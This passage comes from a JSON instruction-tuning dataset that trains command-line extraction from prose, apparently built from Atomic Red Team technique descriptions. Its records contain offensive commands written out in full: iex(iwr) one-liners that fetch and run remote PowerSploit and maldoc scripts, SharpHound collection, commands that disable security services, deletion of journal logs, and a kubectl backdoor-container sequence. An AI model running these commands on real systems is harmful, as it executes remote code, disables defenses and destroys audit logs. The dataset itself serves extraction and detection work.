    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"#{txt_path}\\\" -officeProduct \\\"Word\\\" -sub \\\"Execute\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify the system language, you can query the registry with the following command: reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language. The resulting number format can then be correlated to determine the language.",
    "output": "{\"command_list\": [\"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Nls\\\\Language\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command outputs LDAPSearch information, using the admin-user password for authentication: ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b \"CN=Users,DC=#{domain},DC=#{top_level_domain}\" \"(objectClass=group)\" -s sub -a always -z 1000 dn",
    "output": "{\"command_list\": [\"ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b \\\"CN=Users,DC=#{domain},DC=#{top_level_domain}\\\" \\\"(objectClass=group)\\\" -s sub -a always -z 1000 dn \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system will show currently logged on users when you run the command: query user /SERVER:#{computer_name}",
    "output": "{\"command_list\": [\"query user /SERVER:#{computer_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary with administrative privileges can disable security-related Windows Services, such as McAfeeDLPAgentService if installed. To perform this action, use the following commands: \nnet.exe stop #{service_name}\nsc.exe config #{service_name} start= disabled\n. After execution, verify the service status with 'sc query McAfeeDLPAgentService'.",
    "output": "{\"command_list\": [\"net.exe stop #{service_name}\\nsc.exe config #{service_name} start= disabled\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enable remote PowerShell access, use the following command: Enable-PSRemoting -Force",
    "output": "{\"command_list\": [\"Enable-PSRemoting -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process consists of deleting journal files from '/var/log/journal/' and then clearing the journal logs by setting their retention period to zero, accomplished with the following command sequence: sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content\nsudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place",
    "output": "{\"command_list\": [\"sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content\\nsudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using legitimate images like Ubuntu as backdoor containers, attackers can remotely run malicious code by executing the following sequence: kubectl create -f #{path} -n #{namespace}\n# wait 3 seconds for the instance to come up\nsleep 3\nkubectl exec -n #{namespace} busybox -- #{command}",
    "output": "{\"command_list\": [\"kubectl create -f #{path} -n #{namespace}\\n# wait 3 seconds for the instance to come up\\nsleep 3\\nkubectl exec -n #{namespace} busybox -- #{command}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 